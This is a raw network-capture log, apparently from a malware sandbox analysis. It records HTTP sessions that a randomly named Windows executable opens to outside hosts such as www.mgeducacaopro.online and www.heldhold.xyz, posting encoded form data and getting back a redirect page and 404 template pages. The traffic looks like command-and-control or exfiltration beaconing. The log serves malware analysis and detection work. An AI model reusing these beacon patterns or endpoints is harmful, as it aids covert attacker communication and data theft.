Sep 25, 2024 12:47:18.498404026 CEST	10892	OUT	POST /xamn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.mgeducacaopro.online Origin: http://www.mgeducacaopro.online Content-Length: 10304 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.mgeducacaopro.online/xamn/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 54 4b 51 55 74 4a 6c 4d 70 2f 31 46 61 35 5a 35 45 34 69 4d 2b 32 39 45 46 64 57 37 44 53 66 41 41 66 2b 74 38 65 6c 33 6b 65 4c 77 56 67 5a 4c 32 58 46 42 62 59 4a 6b 73 55 38 36 7a 63 4b 36 56 39 73 41 74 30 4d 73 4e 64 71 53 6e 49 62 73 32 30 43 37 37 6d 46 6b 63 58 41 2f 30 49 2b 6c 57 58 6b 6b 78 64 4e 67 51 4a 43 57 56 6e 4e 34 62 45 77 2b 64 78 49 66 6f 54 34 42 4f 46 4d 2f 36 66 46 6a 42 50 62 39 76 50 48 77 38 76 4b 4c 38 7a 77 55 4b 33 66 63 34 69 61 68 62 4e 70 38 38 71 43 6e 46 48 6c 6b 77 39 55 4d 52 6e 4f 36 5a 50 67 70 30 41 35 51 36 33 7a 54 44 7a 74 74 75 76 38 58 74 33 5a 4f 35 31 46 35 54 6a 78 4f 4d 36 57 62 34 4f 73 46 58 71 76 5a 51 36 5a 78 31 61 54 2b 79 38 4e 33 46 74 4a 46 71 68 53 55 6c 67 79 51 69 44 4b 75 56 61 69 6e 63 70 42 34 55 45 74 44 4c 68 50 78 44 2b 49 68 46 6f 30 69 7a 76 6c 43 4c 37 52 61 64 41 42 37 49 4c 35 4a 47 46 57 49 37 64 58 4a 6a 6f 63 30 38 63 62 57 44 4c 54 41 41 76 71 34 69 6b 69 58 74 75 4c 42 54 43 32 4b 65 64 55 6d 52 69 [TRUNCATED] Data Ascii: PR_xXrA=TKQUtJlMp/1Fa5Z5E4iM+29EFdW7DSfAAf+t8el3keLwVgZL2XFBbYJksU86zcK6V9sAt0MsNdqSnIbs20C77mFkcXA/0I+lWXkkxdNgQJCWVnN4bEw+dxIfoT4BOFM/6fFjBPb9vPHw8vKL8zwUK3fc4iahbNp88qCnFHlkw9UMRnO6ZPgp0A5Q63zTDzttuv8Xt3ZO51F5TjxOM6Wb4OsFXqvZQ6Zx1aT+y8N3FtJFqhSUlgyQiDKuVaincpB4UEtDLhPxD+IhFo0izvlCL7RadAB7IL5JGFWI7dXJjoc08cbWDLTAAvq4ikiXtuLBTC2KedUmRicWtFz8gbeidxyyOQQS4vyhMEhVdJQlc46YdKBSMc3ea3rxhHaZ70UYUDeYDagCy7Lf7nMaz0kpp+my+BsQygnAXSEXyievW/FwtkaVGmIfx1iET16UTMyhELTK5C4tv0OL+QjkEx4JqCj7N9qO00SKjPbAw0KhLkB5lOfPEv7Hmp1w/PLp+8/JLgEwKv2P8LG45zG2x1kI6e795ivoFKYHLUe6670ZjdUJwwf6SrTc4ElB2U4ICuG+oFLE0WLk5lcOo01/xFiZLqduXf+y88cCE/YVQMdCtY+2mVrJ1oGdEYwnG7+S0wpix3Zw99kU6tSVGNH3ubcYLQGaThLh/1QcNezdRSclH5z4IGYZ19gDF5ewZtqMcrBRlBWz9NVH3SXcmYxA/dM7GO0LNUTWbSPfSdU4frEIZJN1xmDfX73hwPXZfdi3yVhdMhqi9i7ACvjHlqYfNzmxvM+PhRh4pJsUKWMGtFbajBs+Zb0u+BJUoQWOYK4w5Us337UA3s62CQRDtDPWP6q7ULOiRh4wsDe3NYmp6/QarwJowHaWcGF+qPw0xUxMrA+5oraMJNeR3ochnkSCUjjagwSCWkt0yRs5RGzMzk0KU+0TkEZWJNiSsqtw21rx2ccEg3D3AiZ4UTFBsR1RZuF5Ou/gyqMem8ht6m8rvBwdsJXB [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49749	3.33.130.190	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:47:21.065594912 CEST	516	OUT	GET /xamn/?PR_xXrA=eI40u+kXl6dCNOxuFKbCigR1N86mEgfKXPnA2oRVh57cb1FOyw5acKt1uSVkrtOGePUCnlUQIJS7kZjahSWR6R1adFopucWDE2ha6/s1PPXDYip6cFIdDHY=&n0=mTk8u4lhzbnhVh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.mgeducacaopro.online Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 25, 2024 12:47:21.516455889 CEST	401	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 25 Sep 2024 10:47:21 GMT Content-Type: text/html Content-Length: 261 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 50 52 5f 78 58 72 41 3d 65 49 34 30 75 2b 6b 58 6c 36 64 43 4e 4f 78 75 46 4b 62 43 69 67 52 31 4e 38 36 6d 45 67 66 4b 58 50 6e 41 32 6f 52 56 68 35 37 63 62 31 46 4f 79 77 35 61 63 4b 74 31 75 53 56 6b 72 74 4f 47 65 50 55 43 6e 6c 55 51 49 4a 53 37 6b 5a 6a 61 68 53 57 52 36 52 31 61 64 46 6f 70 75 63 57 44 45 32 68 61 36 2f 73 31 50 50 58 44 59 69 70 36 63 46 49 64 44 48 59 3d 26 6e 30 3d 6d 54 6b 38 75 34 6c 68 7a 62 6e 68 56 68 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?PR_xXrA=eI40u+kXl6dCNOxuFKbCigR1N86mEgfKXPnA2oRVh57cb1FOyw5acKt1uSVkrtOGePUCnlUQIJS7kZjahSWR6R1adFopucWDE2ha6/s1PPXDYip6cFIdDHY=&n0=mTk8u4lhzbnhVh"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49750	67.223.117.189	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:47:26.743124962 CEST	766	OUT	POST /fava/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.heldhold.xyz Origin: http://www.heldhold.xyz Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.heldhold.xyz/fava/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 4c 41 72 35 71 39 4c 79 57 75 6f 35 4e 30 5a 50 59 48 74 39 58 66 65 4c 57 76 59 67 6e 62 51 70 47 34 43 52 46 53 73 39 76 56 39 51 56 46 6f 43 59 4c 41 78 41 6f 62 52 50 6e 6e 39 75 49 77 71 33 4a 77 37 66 44 42 32 4a 37 6b 4a 30 70 70 51 33 73 38 47 66 6a 51 50 6b 35 4f 64 4e 44 4f 4f 6a 57 4a 4b 6f 67 63 64 37 45 46 54 49 2f 74 51 64 5a 71 46 59 4b 77 36 78 7a 36 6e 47 50 4a 39 78 63 4f 32 66 76 51 71 58 74 2f 67 5a 76 67 78 71 43 53 73 45 44 44 2f 53 37 65 49 45 45 74 61 64 75 44 68 73 51 53 31 67 63 52 34 54 76 31 42 77 55 4c 67 42 37 6b 42 53 4f 66 4d 2f 5a 6c 4e 76 51 3d 3d Data Ascii: PR_xXrA=LAr5q9LyWuo5N0ZPYHt9XfeLWvYgnbQpG4CRFSs9vV9QVFoCYLAxAobRPnn9uIwq3Jw7fDB2J7kJ0ppQ3s8GfjQPk5OdNDOOjWJKogcd7EFTI/tQdZqFYKw6xz6nGPJ9xcO2fvQqXt/gZvgxqCSsEDD/S7eIEEtaduDhsQS1gcR4Tv1BwULgB7kBSOfM/ZlNvQ==
Sep 25, 2024 12:47:27.411669016 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Sep 2024 10:47:27 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 32106 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Fables"> <meta name="author" content="Enterprise Development"> <link rel="shortcut icon" href="assets/custom/images/shortcut.png"> <title> 404</title> ... animate.css--> <link href="assets/vendor/animate.css-master/animate.min.css" rel="stylesheet"> ... Load Screen --> <link href="assets/vendor/loadscreen/css/spinkit.css" rel="stylesheet"> ... GOOGLE FONT --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i" rel="stylesheet"> ... Font Awesome 5 --> <link href="assets/vendor/fontawesome/css/fontawesome-all.min.css" rel="stylesheet"> ... Fables Icons --> <link href="assets/custom/css/fables-icons.css" rel="stylesheet"> ... Bootstrap CSS --> <link href="assets/vendor/bootstrap/css/boo [TRUNCATED]
Sep 25, 2024 12:47:27.411685944 CEST	1236	IN	Data Raw: 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 62 6f 6f 74 73 74 72 61 70 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2d 34 2d 6e 61 76 62 61 72 2e 63 Data Ascii: rel="stylesheet"> <link href="assets/vendor/bootstrap/css/bootstrap-4-navbar.css" rel="stylesheet"> ... FANCY BOX --> <link href="assets/vendor/fancybox-master/jquery.fancybox.min.css" rel="stylesheet"> ... OWL CAROUSEL -->
Sep 25, 2024 12:47:27.411695957 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 67 2d 74 72 61 6e 73 70 61 72 65 6e 74 20 74 65 78 74 2d 77 68 69 74 65 22 3e 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 Data Ascii: <button type="submit" class="btn bg-transparent text-white"> <i class="fas fa-search"></i> </button> </div> </div> </form> </div> </div>... Loading Screen --><div id="ju-loading-scre
Sep 25, 2024 12:47:27.411706924 CEST	1236	IN	Data Raw: 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 65 6e 67 6c 61 6e 64 2e 70 6e 67 22 20 61 6c 74 3d 22 65 6e 67 6c 61 6e 64 20 66 6c 61 67 22 20 63 6c 61 73 73 3d 22 6d 72 2d 31 22 3e 20 45 6e 67 6c 69 73 68 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: custom/images/england.png" alt="england flag" class="mr-1"> English</a> <a class="dropdown-item white-color font-13 fables-second-hover-color" href="#"> <img src="assets/custom/images/France.png"
Sep 25, 2024 12:47:27.411719084 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 62 72 61 6e 64 20 70 6c 2d 30 22 20 68 72 65 66 3d 22 69 6e 64 65 78 2e 68 74 6d 6c 22 3e 3c 69 6d 67 20 73 72 63 3d Data Ascii: <a class="navbar-brand pl-0" href="index.html"><img src="assets/custom/images/fables-logo.png" alt="Fables Template" class="fables-logo"></a> <button class="navbar-toggler" type="button" da
Sep 25, 2024 12:47:27.411729097 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 20 68 72 65 66 3d 22 68 6f 6d 65 32 2e 68 74 6d 6c 22 3e 48 6f 6d 65 20 32 3c 2f 61 3e 3c 2f Data Ascii: <li><a class="dropdown-item" href="home2.html">Home 2</a></li> <li><a class="dropdown-item" href="home3.html">Home 3</a></li> <li><a
Sep 25, 2024 12:47:27.411741018 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 20 68 72 65 66 3d 22 68 65 61 64 65 72 31 2d 74 72 61 6e 73 70 61 72 65 6e 74 Data Ascii: <li><a class="dropdown-item" href="header1-transparent.html">Header 1 Transparent</a></li> <li><a class="dropdown-item" href="header1-light.html">Header 1
Sep 25, 2024 12:47:27.411752939 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 75 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </ul> </li> <li><a class="dropdown-item dropdown-toggle" href="#">Header 3</a>
Sep 25, 2024 12:47:27.411763906 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 20 68 72 65 66 3d 22 68 65 61 64 65 72 34 2d 6c 69 67 Data Ascii: <li><a class="dropdown-item" href="header4-light.html">Header 4 Light</a></li> <li><a class="dropdown-item" href="header4-dark.html">Header 4 Dark<
Sep 25, 2024 12:47:27.411773920 CEST	556	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 22 20 68 72 65 Data Ascii: <li><a class="dropdown-item dropdown-toggle" href="#">Footers</a> <ul class="dropdown-menu"> <li><a class="
Sep 25, 2024 12:47:27.411787033 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 20 68 72 65 66 3d 22 46 6f 6f 74 65 72 31 2d 6c 69 67 68 74 2e 68 74 6d 6c Data Ascii: <li><a class="dropdown-item" href="Footer1-light.html">Footer 1 Light</a></li> <li><a class="dropdown-item" href="Footer1-dark.html">Footer 1 Dark</a></li

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49751	67.223.117.189	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:47:29.288917065 CEST	786	OUT	POST /fava/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.heldhold.xyz Origin: http://www.heldhold.xyz Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.heldhold.xyz/fava/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 4c 41 72 35 71 39 4c 79 57 75 6f 35 4e 55 70 50 55 41 5a 39 43 76 65 45 63 50 59 67 2b 4c 51 58 47 34 47 52 46 51 42 34 73 6a 4e 51 56 6e 77 43 5a 50 55 78 42 6f 62 52 58 58 6e 38 6a 6f 77 74 33 4a 38 4a 66 43 39 32 4a 37 77 4a 30 70 5a 51 33 66 45 46 66 7a 51 4e 2f 4a 50 62 4a 44 4f 4f 6a 57 4a 4b 6f 67 59 6e 37 45 64 54 49 50 39 51 50 4e 2b 43 65 36 77 31 77 7a 36 6e 4c 76 4a 35 78 63 50 6a 66 72 51 45 58 76 33 67 5a 71 45 78 71 7a 53 76 4e 44 44 44 4e 72 66 69 4b 6c 51 44 62 38 4c 68 76 53 43 79 70 76 4e 2b 53 70 6b 62 68 6c 71 33 54 37 41 79 50 4a 57 34 79 61 59 45 30 54 43 2f 64 4a 51 73 46 59 6d 75 62 38 49 62 38 69 34 33 37 70 38 3d Data Ascii: PR_xXrA=LAr5q9LyWuo5NUpPUAZ9CveEcPYg+LQXG4GRFQB4sjNQVnwCZPUxBobRXXn8jowt3J8JfC92J7wJ0pZQ3fEFfzQN/JPbJDOOjWJKogYn7EdTIP9QPN+Ce6w1wz6nLvJ5xcPjfrQEXv3gZqExqzSvNDDDNrfiKlQDb8LhvSCypvN+Spkbhlq3T7AyPJW4yaYE0TC/dJQsFYmub8Ib8i437p8=
Sep 25, 2024 12:47:29.889935017 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Sep 2024 10:47:29 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 32106 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Fables"> <meta name="author" content="Enterprise Development"> <link rel="shortcut icon" href="assets/custom/images/shortcut.png"> <title> 404</title> ... animate.css--> <link href="assets/vendor/animate.css-master/animate.min.css" rel="stylesheet"> ... Load Screen --> <link href="assets/vendor/loadscreen/css/spinkit.css" rel="stylesheet"> ... GOOGLE FONT --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i" rel="stylesheet"> ... Font Awesome 5 --> <link href="assets/vendor/fontawesome/css/fontawesome-all.min.css" rel="stylesheet"> ... Fables Icons --> <link href="assets/custom/css/fables-icons.css" rel="stylesheet"> ... Bootstrap CSS --> <link href="assets/vendor/bootstrap/css/boo [TRUNCATED]
Sep 25, 2024 12:47:29.889986038 CEST	1236	IN	Data Raw: 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 62 6f 6f 74 73 74 72 61 70 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2d 34 2d 6e 61 76 62 61 72 2e 63 Data Ascii: rel="stylesheet"> <link href="assets/vendor/bootstrap/css/bootstrap-4-navbar.css" rel="stylesheet"> ... FANCY BOX --> <link href="assets/vendor/fancybox-master/jquery.fancybox.min.css" rel="stylesheet"> ... OWL CAROUSEL -->
Sep 25, 2024 12:47:29.890003920 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 67 2d 74 72 61 6e 73 70 61 72 65 6e 74 20 74 65 78 74 2d 77 68 69 74 65 22 3e 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 Data Ascii: <button type="submit" class="btn bg-transparent text-white"> <i class="fas fa-search"></i> </button> </div> </div> </form> </div> </div>... Loading Screen --><div id="ju-loading-scre
Sep 25, 2024 12:47:29.890019894 CEST	672	IN	Data Raw: 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 65 6e 67 6c 61 6e 64 2e 70 6e 67 22 20 61 6c 74 3d 22 65 6e 67 6c 61 6e 64 20 66 6c 61 67 22 20 63 6c 61 73 73 3d 22 6d 72 2d 31 22 3e 20 45 6e 67 6c 69 73 68 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: custom/images/england.png" alt="england flag" class="mr-1"> English</a> <a class="dropdown-item white-color font-13 fables-second-hover-color" href="#"> <img src="assets/custom/images/France.png"
Sep 25, 2024 12:47:29.890037060 CEST	1236	IN	Data Raw: 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 66 61 62 6c 65 73 2d 74 68 69 72 64 2d 74 65 78 74 2d 63 6f 6c 6f 72 20 66 6f 6e 74 2d 31 33 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 61 62 6c 65 73 2d 69 63 6f 6e 65 6d 61 69 6c 22 3e 3c 2f 73 Data Ascii: <p class="fables-third-text-color font-13"><span class="fables-iconemail"></span> Email: Design@domain.com</p> </div> </div> </div></div> ... /End Top Header -->... Start Fables Navigation --><
Sep 25, 2024 12:47:29.890053988 CEST	1236	IN	Data Raw: 61 62 6c 65 73 2d 6e 61 76 22 3e 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 64 72 6f 70 64 6f 77 6e 22 3e 0a Data Ascii: ables-nav"> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="sub-nav1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="fal
Sep 25, 2024 12:47:29.890072107 CEST	1236	IN	Data Raw: 65 73 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: es </a> <ul class="dropdown-menu" aria-labelledby="sub-nav2"> <li><a class="dropdown-item dropdown-toggle" href="#">He
Sep 25, 2024 12:47:29.890085936 CEST	104	IN	Data Raw: 69 74 65 6d 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 22 20 68 72 65 66 3d 22 23 22 3e 48 65 61 64 65 72 20 32 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: item dropdown-toggle" href="#">Header 2</a> <ul
Sep 25, 2024 12:47:29.890101910 CEST	1236	IN	Data Raw: 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: class="dropdown-menu"> <li><a class="dropdown-item" href="header2-transparent.html">Header 2 Transparent</a></li> <li><a cl
Sep 25, 2024 12:47:29.890119076 CEST	224	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 75 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e Data Ascii: </ul> </li> <li><a class="dropdown-item dropdown-toggle" href="#">Header 4</a>
Sep 25, 2024 12:47:29.897145987 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <ul class="dropdown-menu"> <li><a class="dropdown-item" href="header4-transparent.html">Header 4 Transparent</a></li>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49752	67.223.117.189	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
